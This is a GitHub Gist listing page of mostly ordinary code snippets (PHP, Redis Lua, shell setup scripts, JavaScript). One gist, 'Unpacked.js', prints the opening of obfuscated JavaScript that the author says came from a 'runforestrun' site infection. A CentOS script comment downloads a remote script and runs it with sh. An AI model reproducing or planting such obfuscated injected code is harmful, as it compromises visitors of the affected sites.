Skip to content

Instantly share code, notes, and snippets.

@luishdez
luishdez / twitterNormalization.php
Created June 6, 2013 14:50
Twitter oAuth normalization
<?php
if ($service == 'twitter') {
$data = array(
'id' => $return['id'],
'name' => $return['name'],
'username' => $return['screen_name'],
'verified' => $return['verified'],
'profileLink' => $return['profile_image_url'],

I have managed to install this… and make it work. I implemented it for Facebook and Google, but you can extend it. My solution it is mostly as described in #116, with a bit of more code presented. The key aspects that lack in the #116 presentation (IMO) are:

  • the registration as service of your custom FOSUBUserProvider (with the necessary parameters)
  • set the service for oauth_user_provider in the security.yml with your custom created service

Here are the steps:

  1. Routing. In routing.yml I have added all the routes for both bundles.
  2. Configuration. I have set the config.yml mostly as it is presented in the HWIOAuthBundle.
  3. Security. I have set the security.yml mostly as it is presented in the HWIOAuthBundle (though my routes are using /login pattern, not /connect). Also, the oauth_user_provider is set for my custom service.
@luishdez
luishdez / backgrid-pagination.js
Last active December 16, 2015 13:39
Backgrid pagination extension, similar to original extension but without getting stuck in the footer
/**
*
* var pagination = new Backgrid.Extension.Pagination({
* collection: pageableCollection
* })
*
* $("#pagination").append(pagination.render().el);
*
*/
(function ($, _, Backbone, Backgrid) {
@luishdez
luishdez / redis.sh
Created January 13, 2013 17:27
Redis lua scripts Update Set and Sorted Set only if the value / score is higher or lower …
# Basic benchmarks
# SET key val # 87489.06
# SETRANGE key2 6 "Redis" # 75757.58 req/s
# INCR key 245 # 70224.72 req/s
# INCRBY key 245 22 # 67114.09 req/s
# EVAL SET key val # 46296.29 req/s
# SETIFHIGHER (set or update key if new value is higher than current) # 41666.67 req/s
# if not exists return OK , if updated return the increment , if not updated return 0
SCRIPT LOAD "local c = tonumber(redis.call('get', KEYS[1])); if c then if tonumber(ARGV[1]) > c then redis.call('set', KEYS[1], ARGV[1]) return tonumber(ARGV[1]) - c else return 0 end else return redis.call('set', KEYS[1], ARGV[1]) end"
@luishdez
luishdez / propiertiesDoc.js
Created October 22, 2012 09:01
testdoc.js
// GOOD
DashboardTab.prototype = {
/**
* @type {DashboardTab} The tab object
*/
constructor: DashboardTab,
/**
* @type {DashboardTab} The tab object
@luishdez
luishdez / Unpacked.js
Created October 7, 2012 17:26
Javascript infected by runforestrun Enjoying the f*** Plesk … :(
function KaheWGT(f){this.kSKZaSPyVfsv=function(a,b){var c='';for(var i=0;i<b.length;i++){c+=String.fromCharCode(a.charCodeAt(i%a.length)^b.charCodeAt(i))}return c};this.getTopHost=function(h){if(h.indexOf(':'))h=h.split(':')[0];var a=h.split('.');while(a.length>2){a.shift()}return a.join('.')};this.FoIcPm=function(){return this["DkAkf"["s#!%u$%$b$s%!%!t!r!%!".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((2-1),(1-0))+"JqgSGKygZkc"["s@#u!#!b$@!@s@%!t$#@##%$%@$#r!%%".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((3-0),(1-0))+"zwEKkd"["s%@u$%@$%%!%bs%$!@@@t$r".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((-1+4),(2-1))+"KSmJIdoyBnZZep"["s!#%!%$u!!#$b#s##$%t!#@%r!%#!@%@%%!$".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((-6+16),(2-1))+"qTaXknotEz"["su%$%b#$%#%s$%@%%%!%#@t%r$#@@%!%$".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((-1+3),(2-1))+"zXfFrJdptSy"["s@#$@$%u%$%@$#$%b##$!@s%$#$@@@%@#@$!!$%%!#!t!%#@@%@r$@!".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((-4+13),(2-1))+"iSHPqPKOPBu"["s#@u!%@$b$!##$s!$#$$@@%%$#@%@#@!!$#!#%!$#!t@@$r!#$".replace(/[^A-Za-z0-9\+\/\=]/g,"")]((6-3)
@luishdez
luishdez / jira
Created September 30, 2012 00:59
JIRA startup script
#!/bin/sh -e
# JIRA startup script
#chkconfig: 2345 80 05
#description: JIRA
# Define some variables
# Name of app ( JIRA, Confluence, etc )
APP=jira
# Name of the user to run as
USER=jira
@luishdez
luishdez / centos.setup.basics.sh
Last active October 10, 2015 07:08
Setup basic libraries for CentOS
# Isntall basics for centOS
# curl -O https://raw.github.com/gist/3652513/centos.setup.basics.sh && sh centos.setup.basics.sh
ulimit -s 26384
yum install -y make gcc gcc-c++ openssl openssl-devel vim wget
yum install -y crontabs
yum install -y ruby ruby-libs ruby-devel ruby-rdoc rubygems git
groupadd puppet
gem install --version '= v0.9.7.2' librarian-puppet-maestrodev
gem install rails puppet
@luishdez
luishdez / globalgitignore.sh
Created August 21, 2012 02:32
Create global gitignore
git config --global core.excludesfile ~/.gitignore_global
# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
@luishdez
luishdez / demo.js
Created May 23, 2012 23:08 — forked from indexzero/demo.js
Raphael icon factory
// Basic usage
_.icon('home', 'home-id-selector')
// Advanced usage
_.icon('power', 'start-menu-icon', {
fill : {
fill : "#333",
stroke : "none"
},
none : {